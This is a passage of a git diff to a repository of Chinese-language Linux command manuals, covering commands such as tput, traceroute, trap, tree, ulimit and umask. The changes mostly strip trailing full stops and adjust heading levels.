选项,或光标位置,您可以在设备的各行和各列中将光标移动到任意 X 或 Y 坐标。设备左上角的坐标为 (0,0)。 +使用 tput 可以方便地实现在各设备上移动光标的位置。通过在 tput 中使用 cup 选项,或光标位置,您可以在设备的各行和各列中将光标移动到任意 X 或 Y 坐标。设备左上角的坐标为 (0,0) -要在设备上将光标移动到第 5 列 (X) 的第 1 行 (Y),只需执行 tput cup 5 1。另一个示例是 tput cup 23 45,此命令将使光标移动到第 23 列上的第 45 行。 +要在设备上将光标移动到第 5 列 (X) 的第 1 行 (Y),只需执行 tput cup 5 1。另一个示例是 tput cup 23 45,此命令将使光标移动到第 23 列上的第 45 行 **移动光标并显示信息** @@ -47,35 +47,35 @@ exit 0 tput sc ``` -必须首先保存当前的光标位置。要保存当前的光标位置,请包括 sc 选项或“save cursor position”。 +必须首先保存当前的光标位置。要保存当前的光标位置,请包括 sc 选项或“save cursor position” ``` tput cup 23 45 ``` -在保存了光标位置后,光标坐标将移动到 (23,45)。 +在保存了光标位置后,光标坐标将移动到 (23,45) ``` echo “Input from tput/echo at 23/45” ``` -将信息显示到 stdout 中。 +将信息显示到 stdout 中 ``` tput rc ``` -在显示了这些信息之后,光标必须返回到使用 tput sc 保存的原始位置。要使光标返回到其上次保存的位置,请包括 rc 选项或“restore cursor position”。 +在显示了这些信息之后,光标必须返回到使用 tput sc 保存的原始位置。要使光标返回到其上次保存的位置,请包括 rc 选项或“restore cursor position” -注意:由于本文首先详细介绍了通过命令行执行 tput,因此您可能会觉得在自己的 subshell 中执行命令要比单独执行每条命令然后在每条命令执行之前显示提示更简洁。 +注意:由于本文首先详细介绍了通过命令行执行 tput,因此您可能会觉得在自己的 subshell 中执行命令要比单独执行每条命令然后在每条命令执行之前显示提示更简洁 **更改光标的属性** -在向某一设备显示数据时,很多时候您并不希望看到光标。将光标转换为不可见可以使数据滚动时的屏幕看起来更整洁。要使光标不可见,请使用 civis 选项(例如,tput civis)。在数据完全显示之后,您可以使用 cnorm 选项将光标再次转变为可见。 +在向某一设备显示数据时,很多时候您并不希望看到光标。将光标转换为不可见可以使数据滚动时的屏幕看起来更整洁。要使光标不可见,请使用 civis 选项(例如,tput civis)。在数据完全显示之后,您可以使用 cnorm 选项将光标再次转变为可见 **文本属性** -更改文本的显示方式可以让用户注意到菜单中的一组词或警惕用户注意某些重要的内容。您可以通过以下方式更改文本属性:使文本加粗、在文本下方添加下划线、更改背景颜色和前景颜色,以及逆转颜色方案等。 +更改文本的显示方式可以让用户注意到菜单中的一组词或警惕用户注意某些重要的内容。您可以通过以下方式更改文本属性:使文本加粗、在文本下方添加下划线、更改背景颜色和前景颜色,以及逆转颜色方案等 要更改文本的颜色,请使用 setb 选项(用于设置背景颜色)和 setf 选项(用于设置前景颜色)以及在 terminfo 数据库中分配的颜色数值。通常情况下,分配的数值与颜色的对应关系如下,但是可能会因 UNIX 系统的不同而异: @@ -94,13 +94,13 @@ tput rc tput setb 6 tput setf 4 ``` -要反显当前的颜色方案,只需执行`tput rev`。 +要反显当前的颜色方案,只需执行`tput rev` -有时,仅为文本着色还不够,也就是说,您想要通过另一种方式引起用户的注意。可以通过两种方式达到这一目的:一是将文本设置为粗体,二是为文本添加下划线。 +有时,仅为文本着色还不够,也就是说,您想要通过另一种方式引起用户的注意。可以通过两种方式达到这一目的:一是将文本设置为粗体,二是为文本添加下划线 -要将文本更改为粗体,请使用 bold 选项。要开始添加下划线,请使用 smul 选项。在完成显示带下划线的文本后,请使用 rmul 选项。 +要将文本更改为粗体,请使用 bold 选项。要开始添加下划线,请使用 smul 选项。在完成显示带下划线的文本后,请使用 rmul 选项 -### 实例 +## 实例 使输出的字符串有颜色,底色,加粗: diff --git a/Linux_man_cn/tr.md b/Linux_man_cn/tr.md index 61a6165..3106cb8 100644 --- a/Linux_man_cn/tr.md +++ b/Linux_man_cn/tr.md @@ -8,7 +8,7 @@ ```markdown 用法:tr [选项]... SET1 [SET2] -从标准输入中替换、缩减和/或删除字符,并将结果写到标准输出。 +从标准输入中替换、缩减和/或删除字符,并将结果写到标准输出 -c, -C, --complement 首先补足SET1,即取代所有不属于第一字符集的字符 -d, --delete 删除匹配SET1 的内容,并不作替换 @@ -45,11 +45,11 @@ SET 是一组字符串,一般都可按照字面含义理解。解析序列如 使用方式: tr '[:lower:]' '[:upper:]' -仅在SET1 和SET2 都给出,同时没有-d 选项的时候才会进行替换。 +仅在SET1 和SET2 都给出,同时没有-d 选项的时候才会进行替换 仅在替换时才可能用到-t 选项。如果需要SET2 将被通过在末尾添加原来的末字符的方式 补充到同SET1 等长。SET2 中多余的字符将被省略。只有[:lower:] 和[:upper:] 以升序展开字符;在用于替换时的SET2 中以成对表示大小写转换。-s 作用于SET1,既不 -替换也不删除,否则在替换或展开后使用SET2 缩减。 +替换也不删除,否则在替换或展开后使用SET2 缩减 ``` diff --git a/Linux_man_cn/tracepath.md b/Linux_man_cn/tracepath.md index 12c54e1..16926e2 100644 --- a/Linux_man_cn/tracepath.md +++ b/Linux_man_cn/tracepath.md @@ -5,9 +5,9 @@ tracepath ## 说明 -**tracepath命令** 用来追踪并显示报文到达目的主机所经过的路由信息。 +**tracepath命令** 用来追踪并显示报文到达目的主机所经过的路由信息 -### 语法 +## 选项 ``` tracepath(参数) @@ -15,10 +15,10 @@ tracepath(参数) ### 参数 -* 目的主机:指定追踪路由信息的目的主机; -* 端口:指定使用的UDP端口号。 +* 目的主机:指定追踪路由信息的目的主机 +* 端口:指定使用的UDP端口号 -### 实例 +## 实例 ``` tracepath www.58.com diff --git a/Linux_man_cn/traceroute.md b/Linux_man_cn/traceroute.md index 0ac2b36..6261fe7 100644 --- a/Linux_man_cn/traceroute.md +++ b/Linux_man_cn/traceroute.md @@ -5,13 +5,13 @@ traceroute ## 说明 -**traceroute命令** 用于追踪数据包在网络上的传输时的全部路径,它默认发送的数据包大小是40字节。 +**traceroute命令** 用于追踪数据包在网络上的传输时的全部路径,它默认发送的数据包大小是40字节 -通过traceroute我们可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的。 +通过traceroute我们可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的 -traceroute通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备traceroute要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其ip地址。 +traceroute通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备traceroute要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其ip地址 -### 语法 +## 选项 ``` traceroute(选项)(参数) @@ -20,28 +20,28 @@ traceroute(选项)(参数) ``` --d:使用Socket层级的排错功能; --f<存活数值>:设置第一个检测数据包的存活数值TTL的大小; --F:设置勿离断位; --g<网关>:设置来源路由网关,最多可设置8个; --i<网络界面>:使用指定的网络界面送出数据包; --I:使用ICMP回应取代UDP资料信息; --m<存活数值>:设置检测数据包的最大存活数值TTL的大小; --n:直接使用IP地址而非主机名称; --p<通信端口>:设置UDP传输协议的通信端口; --r:忽略普通的Routing Table,直接将数据包送到远端主机上。 --s<来源地址>:设置本地主机送出数据包的IP地址; --t<服务类型>:设置检测数据包的TOS数值; --v:详细显示指令的执行过程; --w<超时秒数>:设置等待远端主机回报的时间; --x:开启或关闭数据包的正确性检验。 +-d:使用Socket层级的排错功能 +-f<存活数值>:设置第一个检测数据包的存活数值TTL的大小 +-F:设置勿离断位 +-g<网关>:设置来源路由网关,最多可设置8个 +-i<网络界面>:使用指定的网络界面送出数据包 +-I:使用ICMP回应取代UDP资料信息 +-m<存活数值>:设置检测数据包的最大存活数值TTL的大小 +-n:直接使用IP地址而非主机名称 +-p<通信端口>:设置UDP传输协议的通信端口 +-r:忽略普通的Routing Table,直接将数据包送到远端主机上 +-s<来源地址>:设置本地主机送出数据包的IP地址 +-t<服务类型>:设置检测数据包的TOS数值 +-v:详细显示指令的执行过程 +-w<超时秒数>:设置等待远端主机回报的时间 +-x:开启或关闭数据包的正确性检验 ``` ### 参数 -主机:指定目的主机IP地址或主机名。 +主机:指定目的主机IP地址或主机名 -### 实例 +## 实例 ``` traceroute www.58.com @@ -60,13 +60,13 @@ traceroute to www.58.com (211.151.111.30), 30 hops max, 40 byte packets 12 211.151.111.30 (211.151.111.30) 35.161 ms 35.938 ms 36.005 ms ``` -记录按序列号从1开始,每个纪录就是一跳 ,每跳表示一个网关,我们看到每行有三个时间,单位是ms,其实就是`-q`的默认参数。探测数据包向每个网关发送三个数据包后,网关响应后返回的时间;如果用`traceroute -q 4 www.58.com`,表示向每个网关发送4个数据包。 +记录按序列号从1开始,每个纪录就是一跳 ,每跳表示一个网关,我们看到每行有三个时间,单位是ms,其实就是`-q`的默认参数。探测数据包向每个网关发送三个数据包后,网关响应后返回的时间;如果用`traceroute -q 4 www.58.com`,表示向每个网关发送4个数据包 -有时我们traceroute一台主机时,会看到有一些行是以星号表示的。出现这样的情况,可能是防火墙封掉了ICMP的返回信息,所以我们得不到什么相关的数据包返回数据。 +有时我们traceroute一台主机时,会看到有一些行是以星号表示的。出现这样的情况,可能是防火墙封掉了ICMP的返回信息,所以我们得不到什么相关的数据包返回数据 -有时我们在某一网关处延时比较长,有可能是某台网关比较阻塞,也可能是物理设备本身的原因。当然如果某台DNS出现问题时,不能解析主机名、域名时,也会 有延时长的现象;您可以加`-n`参数来避免DNS解析,以IP格式输出数据。 +有时我们在某一网关处延时比较长,有可能是某台网关比较阻塞,也可能是物理设备本身的原因。当然如果某台DNS出现问题时,不能解析主机名、域名时,也会 有延时长的现象;您可以加`-n`参数来避免DNS解析,以IP格式输出数据 -如果在局域网中的不同网段之间,我们可以通过traceroute 来排查问题所在,是主机的问题还是网关的问题。如果我们通过远程来访问某台服务器遇到问题时,我们用到traceroute 追踪数据包所经过的网关,提交IDC服务商,也有助于解决问题;但目前看来在国内解决这样的问题是比较困难的,就是我们发现问题所在,IDC服务商也不可能帮助我们解决。 +如果在局域网中的不同网段之间,我们可以通过traceroute 来排查问题所在,是主机的问题还是网关的问题。如果我们通过远程来访问某台服务器遇到问题时,我们用到traceroute 追踪数据包所经过的网关,提交IDC服务商,也有助于解决问题;但目前看来在国内解决这样的问题是比较困难的,就是我们发现问题所在,IDC服务商也不可能帮助我们解决 **跳数设置** diff --git a/Linux_man_cn/trap.md b/Linux_man_cn/trap.md index 55ff735..42a3c2a 100644 --- a/Linux_man_cn/trap.md +++ b/Linux_man_cn/trap.md @@ -11,9 +11,9 @@ trap trap "exit 1" HUP INT PIPE QUIT TERM ``` -表示当shell收到HUP INT PIPE QUIT TERM这几个命令时,当前执行的程序会读取参数“exit 1”,并将它作为命令执行。 +表示当shell收到HUP INT PIPE QUIT TERM这几个命令时,当前执行的程序会读取参数“exit 1”,并将它作为命令执行 -### 语法 +## 选项 ``` trap -[lp] [[arg] sigspec ...] @@ -21,21 +21,21 @@ trap -[lp] [[arg] sigspec ...] 参数说明 -如果arg参数缺省或者为“-”,每个接收到的sigspec信号都将会被重置为它们进入shell时的值; +如果arg参数缺省或者为“-”,每个接收到的sigspec信号都将会被重置为它们进入shell时的值 -如果arg是空字符串每一个由sigspec指定的信号都会被shell和它所调用的命令忽略; +如果arg是空字符串每一个由sigspec指定的信号都会被shell和它所调用的命令忽略 -如果有`-p`选项而没有提供arg参数则会打印所有与sigspec指定信号相关联的的trap命令; +如果有`-p`选项而没有提供arg参数则会打印所有与sigspec指定信号相关联的的trap命令 -如果没有提供任何参数或者仅有-p选项,trap命令将会打印与每一个信号有关联的命令的列表; +如果没有提供任何参数或者仅有-p选项,trap命令将会打印与每一个信号有关联的命令的列表 -`-l`选项的作用是让shell打印一个命令名称和其相对应的编号的列表。 +`-l`选项的作用是让shell打印一个命令名称和其相对应的编号的列表 每个sigspec信号都是是以名字或者编号的形式定义在signal.h头文件中,信号的名字是不区分大小写的,其前缀SIG是可选的,如果某个信号是 EXIT(0),那么arg指定的命令将会在shell上执行退出命令时执行(If a sigspec is EXIT (0) the command arg is executed on exit from the shell),如果sigspec是DEBUG,那么arg指定的命令将会在以下每个命令执行之前执行: -简单命令,for语句,case语句,select命令,算法命令,在函数内的第一条命令。 +简单命令,for语句,case语句,select命令,算法命令,在函数内的第一条命令 -更多trap debug的使用可以参考extdebug选项说明。 +更多trap debug的使用可以参考extdebug选项说明 如果sigspec是ERR,arg参数指定的命令将会在任何简单命名执行完后返回值为非零值时执行,但是也有以下例外情况: @@ -43,13 +43,13 @@ trap -[lp] [[arg] sigspec ...] 2. 如果执行失败的命令是if测试语句的一部分时,是 && 和 ||连接的列表中的一部分时 3. 如果执行失败的命令的返回值是被取反过的(通过!操作符) -在以上情况中如果sigspec是ERR,arg命令不会执行,这些规则同样适用于errexit选项。如果sigspec是RETURN,arg指定的命令在每次shell函数或者脚本用"."或者内置的命令执行完成后执行,在shell入口处被忽略的命令 是没法被trap和reset的,被trap的信号,在创建的子进程中使用时会在子进程被创建时被重置为原始的值。如果trap使用的sigspec信号 是invalid的信号则trap命令返回false(失败),否则返回成功(true)。 +在以上情况中如果sigspec是ERR,arg命令不会执行,这些规则同样适用于errexit选项。如果sigspec是RETURN,arg指定的命令在每次shell函数或者脚本用"."或者内置的命令执行完成后执行,在shell入口处被忽略的命令 是没法被trap和reset的,被trap的信号,在创建的子进程中使用时会在子进程被创建时被重置为原始的值。如果trap使用的sigspec信号 是invalid的信号则trap命令返回false(失败),否则返回成功(true) ### 信号 -信号是一种进程间通信机制,它给应用程序提供一种异步的软件中断,使应用程序有机会接受其他程序活终端发送的命令(即信号)。应用程序收到信号后,有三种处理方式:忽略,默认,或捕捉。进程收到一个信号后,会检查对该信号的处理机制。如果是SIG_IGN,就忽略该信号;如果是SIG_DFT,则会采用系统默认的处理动作,通常是终止进程或忽略该信号;如果给该信号指定了一个处理函数(捕捉),则会中断当前进程正在执行的任务,转而去执行该信号的处理函数,返回后再继续执行被中断的任务。 +信号是一种进程间通信机制,它给应用程序提供一种异步的软件中断,使应用程序有机会接受其他程序活终端发送的命令(即信号)。应用程序收到信号后,有三种处理方式:忽略,默认,或捕捉。进程收到一个信号后,会检查对该信号的处理机制。如果是SIG_IGN,就忽略该信号;如果是SIG_DFT,则会采用系统默认的处理动作,通常是终止进程或忽略该信号;如果给该信号指定了一个处理函数(捕捉),则会中断当前进程正在执行的任务,转而去执行该信号的处理函数,返回后再继续执行被中断的任务 -在有些情况下,我们不希望自己的shell脚本在运行时刻被中断,比如说我们写得shell脚本设为某一用户的默认shell,使这一用户进入系统后只能作某一项工作,如数据库备份, 我们可不希望用户使用Ctrl c之类便进入到shell状态,做我们不希望做的事情。这便用到了信号处理。 +在有些情况下,我们不希望自己的shell脚本在运行时刻被中断,比如说我们写得shell脚本设为某一用户的默认shell,使这一用户进入系统后只能作某一项工作,如数据库备份, 我们可不希望用户使用Ctrl c之类便进入到shell状态,做我们不希望做的事情。这便用到了信号处理 以下是一些你可能会遇到的,要在程序中使用的更常见的信号: @@ -143,7 +143,7 @@ trap -[lp] [[arg] sigspec ...] ### 捕获信号 -当你按下 Ctrl + C 键或 Break 键在终端一个shell程序的执行过程中,正常程序将立即终止,并返回命令提示符。这可能并不总是可取的。例如,你可能最终留下了一堆临时文件,将不会清理。 +当你按下 Ctrl + C 键或 Break 键在终端一个shell程序的执行过程中,正常程序将立即终止,并返回命令提示符。这可能并不总是可取的。例如,你可能最终留下了一堆临时文件,将不会清理 捕获这些信号是很容易的,trap命令的语法如下: @@ -151,7 +151,7 @@ trap -[lp] [[arg] sigspec ...] $ trap commands signals ``` -这里的命令可以是任何有效的Linux命令,或一个用户定义的函数,信号可以是任意数量的信号,你想来捕获的列表。 +这里的命令可以是任何有效的Linux命令,或一个用户定义的函数,信号可以是任意数量的信号,你想来捕获的列表 在shell脚本中的陷阱有三种常见的用途: @@ -166,11 +166,11 @@ trap命令作为一个例子,下面展示了如何可以删除一些文件, trap "rm -f $WORKDIR/work1$ $WORKDIR/dataout$; exit" 2 ``` -执行shell程序,这个陷阱的角度,这两个文件work1$$ 和 dataout$$将被自动删除,如果程序接收信号数为2。 +执行shell程序,这个陷阱的角度,这两个文件work1$$ 和 dataout$$将被自动删除,如果程序接收信号数为2 -因此,用户中断执行,如果执行的程序后,这个陷阱你可以放心,这两个文件将被清理。 exit 命令如下 rm 是必要的,因为没有它的执行将继续在节目中的一点,它离开时收到信号。 +因此,用户中断执行,如果执行的程序后,这个陷阱你可以放心,这两个文件将被清理。 exit 命令如下 rm 是必要的,因为没有它的执行将继续在节目中的一点,它离开时收到信号 -1号信号产生挂断:要么有人故意挂断线路或线路被意外断开。 +1号信号产生挂断:要么有人故意挂断线路或线路被意外断开 您可以修改前面的陷阱也删除指定的文件,在这种情况下,两个信号信号1号添加到列表: @@ -178,9 +178,9 @@ trap "rm -f $WORKDIR/work1$ $WORKDIR/dataout$; exit" 2 $ trap "rm $WORKDIR/work1$ $WORKDIR/dataout$; exit" 1 2 ``` -现在,这些文件将被删除,如果该行被挂了,或者按Ctrl c键被按下。 +现在,这些文件将被删除,如果该行被挂了,或者按Ctrl c键被按下 -来捕获指定的命令必须用引号括起来,如果它们包含一个以上的命令。另外请注意,在 shell 命令行扫描 trap 命令得到执行,并再次当一个所列出的的信号被接收的时间。 +来捕获指定的命令必须用引号括起来,如果它们包含一个以上的命令。另外请注意,在 shell 命令行扫描 trap 命令得到执行,并再次当一个所列出的的信号被接收的时间 WORKDIR 值 $$ 所以在前面的例子中,将被取代 trap 命令执行的时间。如果你想这种替代发生在收到信号1或2的时间你可以把单引号内的命令: @@ -208,7 +208,7 @@ $ trap '' 1 2 3 15 $ trap 2 ``` -如果你忽略了一个信号,所有的子shell也忽略该信号。不过,如果指定要采取的行动在收到的信号,所有的子shell仍然会在收到该信号的默认操作。 +如果你忽略了一个信号,所有的子shell也忽略该信号。不过,如果指定要采取的行动在收到的信号,所有的子shell仍然会在收到该信号的默认操作 **3、重设陷阱:** @@ -218,6 +218,6 @@ $ trap 2 $ trap 1 2 ``` -复位应采取的动作收到信号1或2返回默认。 +复位应采取的动作收到信号1或2返回默认 diff --git a/Linux_man_cn/tree.md b/Linux_man_cn/tree.md index 37ecf23..1da5997 100644 --- a/Linux_man_cn/tree.md +++ b/Linux_man_cn/tree.md @@ -5,9 +5,9 @@ tree ## 说明 -**tree命令** 以树状图列出目录的内容。 +**tree命令** 以树状图列出目录的内容 -### 语法 +## 选项 ``` tree(选项)(参数) @@ -17,14 +17,14 @@ tree(选项)(参数) ```bash ------- 列表选项 ------- --a # 显示所有文件和目录。 --d # 先是目录名称而非文件。 --l # 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录。 --f # 在每个文件或目录之前,显示完整的相对路径名称。 --x # 将范围局限在现行的文件系统中,若指定目录下的某些子目录,其存放于另一个文件系统上,则将该目录予以排除在寻找范围外。 --L level # 限制目录显示层级。 +-a # 显示所有文件和目录 +-d # 先是目录名称而非文件 +-l # 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录 +-f # 在每个文件或目录之前,显示完整的相对路径名称 +-x # 将范围局限在现行的文件系统中,若指定目录下的某些子目录,其存放于另一个文件系统上,则将该目录予以排除在寻找范围外 +-L level # 限制目录显示层级 -R # Rerun tree when max dir level reached. --P pattern # <范本样式> 只显示符合范本样式的文件和目录名称。 +-P pattern # <范本样式> 只显示符合范本样式的文件和目录名称 -I pattern # Do not list files that match the given pattern. --ignore-case # Ignore case when pattern matching. --matchdirs # Include directory names in -P pattern matching. @@ -34,33 +34,33 @@ tree(选项)(参数) --timefmt # Print and format time according to the format . -o filename # Output to file instead of stdout. -------- 文件选项 --------- --q # 用“?”号取代控制字符,列出文件和目录名称。 --N # 直接列出文件和目录名称,包括控制字符。 +-q # 用“?”号取代控制字符,列出文件和目录名称 +-N # 直接列出文件和目录名称,包括控制字符 -Q # Quote filenames with double quotes. --p # 列出权限标示。 --u # 列出文件或目录的拥有者名称,没有对应的名称时,则显示用户识别码。 --g # 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码。 --s # 列出文件和目录大小。 +-p # 列出权限标示 +-u # 列出文件或目录的拥有者名称,没有对应的名称时,则显示用户识别码 +-g # 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码 +-s # 列出文件和目录大小 -h # Print the size in a more human readable way. --si # Like -h, but use in SI units (powers of 1000). --D # 列出文件或目录的更改时间。 --F # 在执行文件,目录,Socket,符号连接,管道名称名称,各自加上"*","/","@","|"号。 +-D # 列出文件或目录的更改时间 +-F # 在执行文件,目录,Socket,符号连接,管道名称名称,各自加上"*","/","@","|"号 --inodes # Print inode number of each file. --device # Print device ID number to which each file belongs. ------- 排序选项 ------- -v # Sort files alphanumerically by version. --t # 用文件和目录的更改时间排序。 +-t # 用文件和目录的更改时间排序 -c # Sort files by last status change time. -U # Leave files unsorted. -r # Reverse the order of the sort. --dirsfirst # List directories before files (-U disables). --sort X # Select sort: name,version,size,mtime,ctime. ------- 图形选项 ------ --i # 不以阶梯状列出文件和目录名称。 --A # 使用ASNI绘图字符显示树状图而非以ASCII字符组合。 +-i # 不以阶梯状列出文件和目录名称 +-A # 使用ASNI绘图字符显示树状图而非以ASCII字符组合 -S # Print with CP437 (console) graphics indentation lines. -n # Turn colorization off always (-C overrides). --C # 在文件和目录清单加上色彩,便于区分各种类型。 +-C # 在文件和目录清单加上色彩,便于区分各种类型 ------- XML / HTML / JSON选项 ------- -X # Prints out an XML representation of the tree. -J # Prints out an JSON representation of the tree. @@ -68,17 +68,17 @@ tree(选项)(参数) -T string # Replace the default HTML title and H1 header with string. --nolinks # Turn off hyperlinks in HTML output. ---- 杂项选项 ---- ---version # 输入版本信息。 ---help # 打印使用帮助信息。 +--version # 输入版本信息 +--help # 打印使用帮助信息 -- # Options processing terminator. ``` ### 参数 -目录:执行tree指令,它会列出指定目录下的所有文件,包括子目录里的文件。 +目录:执行tree指令,它会列出指定目录下的所有文件,包括子目录里的文件 -### 实例 +## 实例 列出目录`/private/` 第一级文件名 diff --git a/Linux_man_cn/tty.md b/Linux_man_cn/tty.md index 8eeea8b..c093e5c 100644 --- a/Linux_man_cn/tty.md +++ b/Linux_man_cn/tty.md @@ -1,13 +1,13 @@ tty === -显示连接到当前标准输入的终端设备文件名。 +显示连接到当前标准输入的终端设备文件名 ## 说明 -**tty命令** 可以显示连接到当前标准输入的终端设备文件名。 +**tty命令** 可以显示连接到当前标准输入的终端设备文件名 -### 语法 +## 选项 ``` tty [选项] @@ -21,7 +21,7 @@ tty [选项] ### 例子 -显示连接到当前标准输入的终端设备文件名。 +显示连接到当前标准输入的终端设备文件名 ```bash [root@localhost ~]# tty diff --git a/Linux_man_cn/type.md b/Linux_man_cn/type.md index efb18ce..47ea78d 100644 --- a/Linux_man_cn/type.md +++ b/Linux_man_cn/type.md @@ -5,18 +5,18 @@ type ## 说明 -**type命令** 用来显示指定命令的类型,判断给出的指令是内部指令还是外部指令。 +**type命令** 用来显示指定命令的类型,判断给出的指令是内部指令还是外部指令 命令类型: -* alias:别名。 -* keyword:关键字,Shell保留字。 -* function:函数,Shell函数。 -* builtin:内建命令,Shell内建命令。 -* file:文件,磁盘文件,外部命令。 -* unfound:没有找到。 +* alias:别名 +* keyword:关键字,Shell保留字 +* function:函数,Shell函数 +* builtin:内建命令,Shell内建命令 +* file:文件,磁盘文件,外部命令 +* unfound:没有找到 -### 语法 +## 选项 ``` type(选项)(参数) @@ -25,16 +25,16 @@ type(选项)(参数) ``` --t:输出“file”、“alias”或者“builtin”,分别表示给定的指令为“外部指令”、“命令别名”或者“内部指令”; --p:如果给出的指令为外部指令,则显示其绝对路径; --a:在环境变量“PATH”指定的路径中,显示给定指令的信息,包括命令别名。 +-t:输出“file”、“alias”或者“builtin”,分别表示给定的指令为“外部指令”、“命令别名”或者“内部指令” +-p:如果给出的指令为外部指令,则显示其绝对路径 +-a:在环境变量“PATH”指定的路径中,显示给定指令的信息,包括命令别名 ``` ### 参数 -指令:要显示类型的指令。 +指令:要显示类型的指令 -### 实例 +## 实例 ``` [root@localhost ~]# type ls diff --git a/Linux_man_cn/ulimit.md b/Linux_man_cn/ulimit.md index 0583383..924a5a2 100644 --- a/Linux_man_cn/ulimit.md +++ b/Linux_man_cn/ulimit.md @@ -4,10 +4,10 @@ **ulimit命令** 用来限制系统用户对shell资源的访问。如果不懂什么意思,下面一段内容可以帮助你理解 -假设有这样一种情况,当一台 Linux 主机上同时登陆了 10 个人,在系统资源无限制的情况下,这 10 个用户同时打开了 500 个文档, +假设有这样一种情况,当一台 Linux 主机上同时登陆了 10 个人,在系统资源无限制的情况下,这 10 个用户同时打开了 500 个文档 而假设每个文档的大小有 10M,这时系统的内存资源就会受到巨大的挑战 -而实际应用的环境要比这种假设复杂的多,例如在一个嵌入式开发环境中,各方面的资源都是非常紧缺的,对于开启文件描述符的数量, +而实际应用的环境要比这种假设复杂的多,例如在一个嵌入式开发环境中,各方面的资源都是非常紧缺的,对于开启文件描述符的数量 分配堆栈的大 小,CPU 时间,虚拟内存大小,等等,都有非常严格的要求。资源的合理限制和分配,不仅仅是保证系统可用性的必要条 件,也与系统上软件运行性能有着密不可分的联 系。这时,ulimit 可以起到很大的作用,它是一种简单并且有效的实现资源限制的方式 @@ -21,19 +21,19 @@ ulimit 用于限制 shell 启动进程所占用的资源,支持以下各种类 ## 选项 ```markdown --a:显示目前资源限制的设定; --c :设定core文件的最大值,单位为区块; --d <数据节区大小>:程序数据节区的最大值,单位为KB; --f <文件大小>:shell所能建立的最大文件,单位为区块; --H:设定资源的硬性限制,也就是管理员所设下的限制; --m <内存大小>:指定可使用内存的上限,单位为KB; --n <文件数目>:指定同一时间最多可开启的文件数; --p <缓冲区大小>:指定管道缓冲区的大小,单位512字节; --s <堆叠大小>:指定堆叠的上限,单位为KB; --S:设定资源的弹性限制; --t :指定CPU使用时间的上限,单位为秒; --u <程序数目>:用户最多可开启的程序数目; --v <虚拟内存大小>:指定可使用的虚拟内存上限,单位为KB。 +-a:显示目前资源限制的设定 +-c :设定core文件的最大值,单位为区块 +-d <数据节区大小>:程序数据节区的最大值,单位为KB +-f <文件大小>:shell所能建立的最大文件,单位为区块 +-H:设定资源的硬性限制,也就是管理员所设下的限制 +-m <内存大小>:指定可使用内存的上限,单位为KB +-n <文件数目>:指定同一时间最多可开启的文件数 +-p <缓冲区大小>:指定管道缓冲区的大小,单位512字节 +-s <堆叠大小>:指定堆叠的上限,单位为KB +-S:设定资源的弹性限制 +-t :指定CPU使用时间的上限,单位为秒 +-u <程序数目>:用户最多可开启的程序数目 +-v <虚拟内存大小>:指定可使用的虚拟内存上限,单位为KB ``` ## 实例 diff --git a/Linux_man_cn/umask.md b/Linux_man_cn/umask.md index 0ba1b52..8bf4e88 100644 --- a/Linux_man_cn/umask.md +++ b/Linux_man_cn/umask.md @@ -5,12 +5,12 @@ umask ## 说明 -**umask命令** 用来设置限制新建文件权限的掩码。当新文件被创建时,其最初的权限由文件创建掩码决定。用户每次注册进入系统时,umask命令都被执行, 并自动设置掩码mode来限制新文件的权限。用户可以通过再次执行umask命令来改变默认值,新的权限将会把旧的覆盖掉。 -umask 0022中第一零表示特殊权限位,后三位表示用户权限位,也是权限掩码值;777-022=755 默认创建目录的权限; +**umask命令** 用来设置限制新建文件权限的掩码。当新文件被创建时,其最初的权限由文件创建掩码决定。用户每次注册进入系统时,umask命令都被执行, 并自动设置掩码mode来限制新文件的权限。用户可以通过再次执行umask命令来改变默认值,新的权限将会把旧的覆盖掉 +umask 0022中第一零表示特殊权限位,后三位表示用户权限位,也是权限掩码值;777-022=755 默认创建目录的权限 但是实际上创建文件的权限是644(666-022),因此引出一个linux权限规则的问题: -缺省创建的文件不能授予可执行X权限;目的防止恶意攻击和病毒哈,这只是安全的一个小小小方面; +缺省创建的文件不能授予可执行X权限;目的防止恶意攻击和病毒哈,这只是安全的一个小小小方面 -### 语法 +## 选项 ``` umask(选项)(参数) @@ -19,15 +19,15 @@ umask(选项)(参数) ``` --p:输出的权限掩码可直接作为指令来执行; --S:以符号方式输出权限掩码。 +-p:输出的权限掩码可直接作为指令来执行 +-S:以符号方式输出权限掩码 ``` ### 参数 -权限掩码:指定权限掩码。 +权限掩码:指定权限掩码 -### 实例 +## 实例 利用umask命令可以指定哪些权限将在新文件的默认权限中被删除。例如,可以使用下面的命令创建掩码,使得组用户的写权限,其他用户的读、写和执行权限都被取消: @@ -36,13 +36,13 @@ umask u=, g=w, o=rwx ``` -执行该命令以后,对于下面创建的新文件,其文件主的权限未做任何改变,而组用户没有写权限,其他用户的所有权限都被取消。 +执行该命令以后,对于下面创建的新文件,其文件主的权限未做任何改变,而组用户没有写权限,其他用户的所有权限都被取消 -应注意:操作符“=”在umask命令和chmod命令中的作用恰恰相反。在chmod命令中,利用它来设置指定的权限,而其余权限则被删除;但是在umask命令中,它将在原有权限的基础上删除指定的权限。 +应注意:操作符“=”在umask命令和chmod命令中的作用恰恰相反。在chmod命令中,利用它来设置指定的权限,而其余权限则被删除;但是在umask命令中,它将在原有权限的基础上删除指定的权限 -不能直接利用umask命令创建一个可执行的文件,用户只能在其后利用chmod命令使它具有执行权限。假设执行了命令`umask u=, g=w, o=rwx`,虽然在命令行中,没有删去文件主和组用户的执行权限,但默认的文件权限还是640(即 rw-r-----),而不是750(rwxr-x---)。但是,如果创建的是目录或者通过编译程序创建的一个可执行文件,将不受此限制。在这种情况 下,会设置文件的执行权限。 